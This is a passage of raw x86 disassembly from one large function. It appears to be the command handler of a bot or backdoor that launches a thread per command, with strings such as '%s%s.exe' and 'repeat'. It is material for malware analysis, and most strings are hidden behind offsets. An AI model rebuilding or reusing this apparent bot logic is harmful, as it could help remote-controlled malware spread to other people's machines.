		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 28h
		jmp	loc_409644
; ---------------------------------------------------------------------------


loc_407984:				; CODE XREF: sub_401ACD+4DA9j
					; sub_401ACD+4DC0j
		push	edi
		call	dword_4CBA14
		push	[ebp+arg_18]
		mov	[ebp+var_680], eax
		call	sub_41C159
		push	[ebp+arg_0]
		mov	[ebp+var_690], eax
		call	sub_41C159
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_688], eax
		lea	eax, [ebp+var_710]
		mov	[ebp+var_714], esi
		push	eax
		call	sub_41BFD0
		add	esp, 14h
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_678], edi
		push	[ebp+var_688]
		mov	[ebp+var_674], eax
		push	[ebp+var_690]
		push	[ebp+var_680]
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A910
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_684], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_714]
		push	ebx
		push	eax
		push	offset dword_40C92C
		push	ebx
		push	ebx
		nop
		call	near ptr 26A048Eh
		mov	ecx, [ebp+var_684]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_407A66


loc_407A50:				; CODE XREF: sub_401ACD+5F97j
		cmp	[ebp+var_670], ebx
		jnz	loc_403D46
		push	32h
		nop
		call	near ptr 26A0428h
		jmp	short loc_407A50
; ---------------------------------------------------------------------------


loc_407A66:				; CODE XREF: sub_401ACD+5F81j
		nop
		call	near ptr 26A0E98h
		push	eax
		push	offset unk_42AA00
		jmp	loc_403D37
; ---------------------------------------------------------------------------


loc_407A77:				; CODE XREF: sub_401ACD+4D7Bj
					; sub_401ACD+4D92j
		push	edi
		call	sub_41C159
		push	7Fh
		mov	[ebp+var_1130],	eax
		push	[ebp+arg_18]
		lea	eax, [ebp+var_1234]
		push	eax
		call	sub_41BFD0
		push	[ebp+arg_0]
		call	sub_41C159
		mov	esi, [ebp+arg_4]
		add	esp, 14h
		mov	[ebp+var_1134],	eax
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_88]
		mov	[ebp+var_123C],	esi
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	edi, [ebp+var_4]
		mov	[ebp+var_1120],	eax
		push	[ebp+var_1134]
		lea	eax, [ebp+var_1234]
		mov	[ebp+var_1124],	edi
		push	eax
		push	[ebp+var_1130]
		push	esi
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A8D4
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	18h
		push	eax
		call	sub_40B3BA
		add	esp, 24h
		mov	[ebp+var_112C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_123C]
		push	ebx
		push	eax
		push	offset loc_410DAB
		push	ebx
		push	ebx
		nop
		call	near ptr 26A048Eh
		mov	ecx, [ebp+var_112C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_407B63


loc_407B4D:				; CODE XREF: sub_401ACD+6094j
		cmp	[ebp+var_111C],	ebx
		jnz	loc_403D46
		push	32h
		nop
		call	near ptr 26A0428h
		jmp	short loc_407B4D
; ---------------------------------------------------------------------------


loc_407B63:				; CODE XREF: sub_401ACD+607Ej
		nop
		call	near ptr 26A0E98h
		push	eax
		push	offset unk_42A890
		jmp	loc_403D37
; ---------------------------------------------------------------------------


loc_407B74:				; CODE XREF: sub_401ACD+4D4Dj
					; sub_401ACD+4D64j
		push	0FFh
		lea	eax, [ebp+var_287C]
		push	edi
		push	eax
		call	sub_41BFD0
		push	0FFh
		lea	eax, [ebp+var_277C]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	[ebp+arg_0]
		mov	[ebp+var_2678],	ebx
		call	sub_41C159
		mov	[ebp+var_2674],	eax
		mov	eax, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_407BCD
		push	10h
		push	ebx
		push	eax
		call	sub_41C7A5
		add	esp, 0Ch
		mov	[ebp+var_266C],	eax
		jmp	short loc_407BD3
; ---------------------------------------------------------------------------


loc_407BCD:				; CODE XREF: sub_401ACD+60EAj
		mov	[ebp+var_266C],	ebx


loc_407BD3:				; CODE XREF: sub_401ACD+60FEj
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	short loc_407BEA
		push	esi
		call	sub_41C159
		pop	ecx
		mov	[ebp+var_2670],	eax
		jmp	short loc_407BF0
; ---------------------------------------------------------------------------


loc_407BEA:				; CODE XREF: sub_401ACD+610Cj
		mov	[ebp+var_2670],	ebx


loc_407BF0:				; CODE XREF: sub_401ACD+611Bj
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2668],	eax
		lea	eax, [ebp+var_28FC]
		mov	[ebp+var_2900],	esi
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_2660],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_18]
		mov	[ebp+var_2664],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset dword_42A864
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Dh
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_267C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2900]
		push	ebx
		push	eax
		push	offset loc_4167A0
		push	ebx
		push	ebx
		nop
		call	near ptr 26A048Eh
		mov	ecx, [ebp+var_267C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_407CA1


loc_407C8B:				; CODE XREF: sub_401ACD+61D2j
		cmp	[ebp+var_265C],	ebx
		jnz	loc_407196
		push	32h
		nop
		call	near ptr 26A0428h
		jmp	short loc_407C8B
; ---------------------------------------------------------------------------


loc_407CA1:				; CODE XREF: sub_401ACD+61BCj
		call	near ptr 26A0E98h
		nop
		push	eax
		push	offset unk_42A824
		jmp	loc_407187
; ---------------------------------------------------------------------------


loc_407CB2:				; CODE XREF: sub_401ACD+4D1Fj
					; sub_401ACD+4D36j
		push	7Fh
		lea	eax, [ebp+var_3494]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3414]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3394]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3314]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3290],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_328C],	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_18]
		mov	[ebp+var_3498],	esi
		push	edi
		push	offset unk_42A7E8
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	12h
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_3294],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3498]
		push	ebx
		push	eax
		push	offset byte_41561D
		push	ebx
		push	ebx
		nop
		call	near ptr 26A048Eh
		mov	ecx, [ebp+var_3294]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_407D89


loc_407D73:				; CODE XREF: sub_401ACD+62BAj
		cmp	[ebp+var_3288],	ebx
		jnz	loc_407196
		push	32h
		nop
		call	near ptr 26A0428h
		jmp	short loc_407D73
; ---------------------------------------------------------------------------


loc_407D89:				; CODE XREF: sub_401ACD+62A4j
		nop
		call	near ptr 26A0E98h
		push	eax
		push	offset unk_42A7B0
		jmp	loc_407187
; ---------------------------------------------------------------------------


loc_407D9A:				; CODE XREF: sub_401ACD+4BF2j
					; sub_401ACD+4C09j
		push	7Fh
		lea	eax, [ebp+var_306C]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_2FEC]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_2F6C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_2EEC]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2E68],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2E64],	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_18]
		mov	[ebp+var_3070],	esi
		push	edi
		push	offset unk_42A780
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Eh
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_2E6C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3070]
		push	ebx
		push	eax
		push	offset dword_414358
		push	ebx
		push	ebx
		nop
		call	near ptr 26A048Eh
		mov	ecx, [ebp+var_2E6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_407E71


loc_407E5B:				; CODE XREF: sub_401ACD+63A2j
		cmp	[ebp+var_2E60],	ebx
		jnz	loc_407196
		push	32h
		nop
		call	near ptr 26A0428h
		jmp	short loc_407E5B
; ---------------------------------------------------------------------------


loc_407E71:				; CODE XREF: sub_401ACD+638Cj
		nop
		call	near ptr 26A0E98h
		push	eax
		push	offset unk_42A748
		jmp	loc_407187
; ---------------------------------------------------------------------------


loc_407E82:				; CODE XREF: sub_401ACD+4AC9j
					; sub_401ACD+4AE0j ...
		push	7Fh
		lea	eax, [ebp+var_3CE8]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3C68]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3BE8]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3B68]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		push	20h
		lea	eax, [ebp+var_3AE8]
		push	[ebp+arg_8]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 3Ch
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3A68],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3A64],	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_18]
		mov	[ebp+var_3CF0],	esi
		push	edi
		push	offset unk_42A718
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Dh
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_3CEC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3CF0]
		push	ebx
		push	eax
		push	offset byte_4135DF
		push	ebx
		push	ebx
		nop
		call	near ptr 26A048Eh
		mov	ecx, [ebp+var_3CEC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_407F6A


loc_407F54:				; CODE XREF: sub_401ACD+649Bj
		cmp	[ebp+var_3A60],	ebx
		jnz	loc_407196
		push	32h
		call	near ptr 26A0428h
		nop
		jmp	short loc_407F54
; ---------------------------------------------------------------------------


loc_407F6A:				; CODE XREF: sub_401ACD+6485j
		nop
		call	near ptr 26A0E98h
		push	eax
		push	offset unk_42A6E0
		jmp	loc_407187
; ---------------------------------------------------------------------------


loc_407F7B:				; CODE XREF: sub_401ACD+4A9Bj
					; sub_401ACD+4AB2j
		push	7Fh
		lea	eax, [ebp+var_177C]
		push	edi
		push	eax
		call	sub_41BFD0
		push	[ebp+arg_18]
		call	sub_41C159
		push	3Fh
		mov	[ebp+var_162C],	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_16FC]
		push	eax
		call	sub_41BFD0
		mov	esi, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_407FC6
		push	3Fh
		lea	eax, [ebp+var_16BC]
		push	esi
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_407FC6:				; CODE XREF: sub_401ACD+64E5j
		lea	eax, [ebp+var_16FC]
		mov	[ebp+var_1628],	1
		push	eax
		lea	eax, [ebp+var_177C]
		push	[ebp+var_162C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A6B0
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Fh
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_1624],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1780]
		push	ebx
		push	eax
		push	offset sub_4017ED
		push	ebx
		push	ebx
		nop
		call	near ptr 26A048Eh
		mov	ecx, [ebp+var_1624]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_408052


loc_40803C:				; CODE XREF: sub_401ACD+6583j
		cmp	[ebp+var_1620],	ebx
		jnz	loc_406BFE
		push	32h
		nop
		call	near ptr 26A0428h
		jmp	short loc_40803C
; ---------------------------------------------------------------------------


loc_408052:				; CODE XREF: sub_401ACD+656Dj
		call	near ptr 26A0E98h
		nop
		push	eax
		push	offset dword_42A674
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_408063:				; CODE XREF: sub_401ACD+4A5Bj
					; sub_401ACD+4A72j
		push	[ebp+arg_18]
		call	sub_41C159
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_1D68],	eax
		jle	loc_408156
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_1EF0]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_1D64],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1EF4],	eax
		lea	eax, [ebp+var_1DF0]
		push	esi
		push	eax
		call	sub_41C360
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1D60],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_18]
		mov	[ebp+var_1D5C],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset unk_42A648
		push	200h
		push	eax
		call	sub_41C360
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	15h
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_1D70],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1EF4]
		push	ebx
		push	eax
		push	offset byte_413A29
		push	ebx
		push	ebx
		nop
		call	near ptr 26A048Eh
		mov	ecx, [ebp+var_1D70]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_408145


loc_408133:				; CODE XREF: sub_401ACD+6676j
		cmp	[ebp+var_1D58],	ebx
		jnz	short loc_4081AD
		push	32h
		nop
		call	near ptr 26A0428h
		jmp	short loc_408133
; ---------------------------------------------------------------------------


loc_408145:				; CODE XREF: sub_401ACD+6664j
		nop
		call	near ptr 26A0E98h
		push	eax
		push	offset unk_42A610
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_408156:				; CODE XREF: sub_401ACD+65A7j
		push	offset unk_42A5D8
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_408160:				; CODE XREF: sub_401ACD+4A2Dj
					; sub_401ACD+4A44j
		push	[ebp+arg_18]
		push	edi
		call	near ptr 26C0C5Dh
		nop
		test	eax, eax
		jz	short loc_40818D
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset unk_42A5B4
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 14h
		jmp	short loc_4081AD
; ---------------------------------------------------------------------------


loc_40818D:				; CODE XREF: sub_401ACD+669Fj
		push	offset dword_42A5A8
		call	sub_418699
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360


loc_4081AA:				; CODE XREF: sub_401ACD+548Dj
					; sub_401ACD+73C5j
		add	esp, 0Ch


loc_4081AD:				; CODE XREF: sub_401ACD+20DCj
					; sub_401ACD+2E89j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4082DE
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]


loc_4081CA:				; CODE XREF: sub_401ACD+56E4j
		call	sub_409869
		add	esp, 14h
		jmp	loc_4082DE
; ---------------------------------------------------------------------------


loc_4081D7:				; CODE XREF: sub_401ACD+49FFj
					; sub_401ACD+4A16j
		push	edi
		lea	eax, [ebp+var_3F08]
		push	104h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		cmp	[ebp+var_C], ebx
		jz	short loc_408211
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_408211
		push	eax
		lea	eax, [ebp+var_3E04]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_408211:				; CODE XREF: sub_401ACD+6722j
					; sub_401ACD+6733j
		push	[ebp+var_88]
		lea	eax, [ebp+var_3F88]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_3F8C],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_3CFC],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3CF8],	eax
		lea	eax, [ebp+var_3E04]
		push	eax
		lea	eax, [ebp+var_3F08]
		push	eax
		push	offset unk_42A578
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	24h
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_3D00],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3F8C]
		push	ebx
		push	eax
		push	offset dword_417054
		push	ebx
		push	ebx
		nop
		call	near ptr 26A048Eh
		mov	ecx, [ebp+var_3D00]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_4082C3


loc_4082B1:				; CODE XREF: sub_401ACD+67F4j
		cmp	[ebp+var_3CF4],	ebx
		jnz	short loc_4082DE
		push	32h
		call	near ptr 26A0428h
		nop
		jmp	short loc_4082B1
; ---------------------------------------------------------------------------


loc_4082C3:				; CODE XREF: sub_401ACD+67E2j
		call	near ptr 26A0E98h
		nop
		push	eax
		push	offset unk_42A53C


loc_4082CF:				; CODE XREF: sub_401ACD+909j
					; sub_401ACD+A47j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_4082DE:				; CODE XREF: sub_401ACD+7C5j
					; sub_401ACD+930j ...
		push	1
		pop	esi
		jmp	loc_406C22
; ---------------------------------------------------------------------------


loc_4082E6:				; CODE XREF: sub_401ACD+49D1j
					; sub_401ACD+49E8j
		push	44h
		lea	eax, [ebp+var_668]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41BF70
		push	1
		mov	[ebp+var_668], esi
		pop	esi
		mov	[ebp+var_638], bx
		push	edi
		mov	[ebp+var_63C], esi
		call	sub_41C159
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_408323
		mov	[ebp+var_638], 5


loc_408323:				; CODE XREF: sub_401ACD+684Bj
		cmp	[ebp+var_C], ebx
		jz	loc_406BFE
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_406BFE
		lea	eax, [ebp+var_E34]
		push	eax
		lea	eax, [ebp+var_668]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		nop
		call	near ptr 2680369h
		test	eax, eax
		jnz	short loc_40836E
		push	offset unk_42A518
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_40836E:				; CODE XREF: sub_401ACD+6895j
		push	edi
		push	offset dword_42A4FC
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_408379:				; CODE XREF: sub_401ACD+49A3j
					; sub_401ACD+49BAj
		push	[ebp+arg_18]
		push	offset aSbrsfg	; "sbrsfg"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4084F0
		lea	eax, [ebp+var_4BF8]
		push	eax
		push	104h
		nop
		call	near ptr 26C0000h
		push	0FFh
		lea	eax, [ebp+var_25D4]
		push	edi
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_17D4]
		push	eax
		call	sub_40AB77
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_4BF8]
		push	eax
		lea	eax, [ebp+var_24D4]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax
		call	sub_41C266
		mov	eax, [ebp+esi+var_84]
		add	esp, 10h
		cmp	eax, ebx
		mov	[ebp+var_23D0],	1
		mov	[ebp+var_23CC],	ebx
		jz	short loc_40840E
		push	10h
		push	ebx
		push	eax
		call	sub_41C7A5
		add	esp, 0Ch
		mov	[ebp+var_23C4],	eax
		jmp	short loc_408414
; ---------------------------------------------------------------------------


loc_40840E:				; CODE XREF: sub_401ACD+692Bj
		mov	[ebp+var_23C4],	ebx


loc_408414:				; CODE XREF: sub_401ACD+693Fj
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	short loc_40842B
		push	esi
		call	sub_41C159
		pop	ecx
		mov	[ebp+var_23C8],	eax
		jmp	short loc_408431
; ---------------------------------------------------------------------------


loc_40842B:				; CODE XREF: sub_401ACD+694Dj
		mov	[ebp+var_23C8],	ebx


loc_408431:				; CODE XREF: sub_401ACD+695Cj
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_23C0],	eax
		lea	eax, [ebp+var_2654]
		mov	[ebp+var_2658],	esi
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_23B8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_23BC],	eax
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A4C4
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Eh
		push	eax
		call	sub_40B3BA
		add	esp, 18h
		mov	[ebp+var_23D4],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2658]
		push	ebx
		push	eax
		push	offset loc_4167A0
		push	ebx
		push	ebx
		call	near ptr 26A048Eh
		nop
		mov	ecx, [ebp+var_23D4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_4084DF


loc_4084C9:				; CODE XREF: sub_401ACD+6A10j
		cmp	[ebp+var_23B4],	ebx
		jnz	loc_406BFE
		push	32h
		call	near ptr 26A0428h
		nop
		jmp	short loc_4084C9
; ---------------------------------------------------------------------------


loc_4084DF:				; CODE XREF: sub_401ACD+69FAj
		call	near ptr 26A0E98h
		nop
		push	eax
		push	offset dword_42A488
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_4084F0:				; CODE XREF: sub_401ACD+68BDj
		push	offset dword_42A440


loc_4084F5:				; CODE XREF: sub_401ACD+2E30j
					; sub_401ACD+447Dj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	loc_406BFE
; ---------------------------------------------------------------------------


loc_408508:				; CODE XREF: sub_401ACD+4975j
					; sub_401ACD+498Cj
		push	[ebp+var_8C]
		push	offset dword_42CCC8
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401F75
		cmp	[ebp+var_C], ebx
		jz	loc_401F75
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42A430
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41BFD0
		push	edi
		call	sub_41C159
		add	esp, 28h
		test	eax, eax
		jle	short loc_408591
		push	edi
		call	sub_41C159
		imul	eax, 3E8h
		pop	ecx
		push	eax
		call	near ptr 26A0428h
		nop


loc_408591:				; CODE XREF: sub_401ACD+6AAEj
		push	offset dword_42A41C
		call	sub_415D38
		mov	eax, [ebp+arg_24]
		pop	ecx
		inc	eax
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_4085A5:				; CODE XREF: sub_401ACD+4947j
					; sub_401ACD+495Ej
		push	[ebp+var_8C]
		push	offset dword_42CCC8
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401F75
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		mov	eax, [ebp+arg_18]
		inc	eax
		push	offset aRepeat	; "repeat"
		push	eax
		call	sub_41CA50
		add	esp, 10h
		test	eax, eax
		push	esi
		jz	short loc_408664
		push	[ebp+var_88]
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42A430
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41BFD0
		add	esp, 24h
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset unk_42A404
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		push	edi
		call	sub_41C159
		add	esp, 14h
		test	eax, eax
		jle	loc_409644
		push	edi
		call	sub_41C159
		add	eax, [ebp+arg_24]
		pop	ecx
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_408664:				; CODE XREF: sub_401ACD+6B1Dj
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A3D0
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_408678:				; CODE XREF: sub_401ACD+74E3j
		cmp	[ebp+var_8], ebx
		jnz	short loc_408699
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_408699:				; CODE XREF: sub_401ACD+6BAEj
					; sub_401ACD+71C7j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		jmp	loc_409643
; ---------------------------------------------------------------------------


loc_4086AA:				; CODE XREF: sub_401ACD+4919j
					; sub_401ACD+4930j
		push	7Fh
		lea	eax, [ebp+var_2218]
		push	edi
		push	eax
		call	sub_41BFD0
		push	7Fh
		lea	eax, [ebp+var_2198]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	7Fh
		lea	eax, [ebp+var_2118]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		add	esp, 24h
		mov	[ebp+var_2094],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_221C],	esi
		push	[ebp+arg_18]
		mov	[ebp+var_2090],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset unk_42A39C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Fh
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_2098],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_221C]
		push	ebx
		push	eax
		push	offset byte_414F57
		push	ebx
		push	ebx
		nop
		call	near ptr 26A048Eh
		mov	ecx, [ebp+var_2098]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40876E


loc_408758:				; CODE XREF: sub_401ACD+6C9Fj
		cmp	[ebp+var_208C],	ebx
		jnz	loc_40885A
		push	32h
		nop
		call	near ptr 26A0428h
		jmp	short loc_408758
; ---------------------------------------------------------------------------


loc_40876E:				; CODE XREF: sub_401ACD+6C89j
		call	near ptr 26A0E98h
		nop
		push	eax
		push	offset unk_42A360
		jmp	loc_40884B
; ---------------------------------------------------------------------------


loc_40877F:				; CODE XREF: sub_401ACD+48EBj
					; sub_401ACD+4902j
		push	7Fh
		lea	eax, [ebp+var_23AC]
		push	edi
		push	eax
		call	sub_41BFD0
		push	7Fh
		lea	eax, [ebp+var_232C]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	7Fh
		lea	eax, [ebp+var_22AC]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
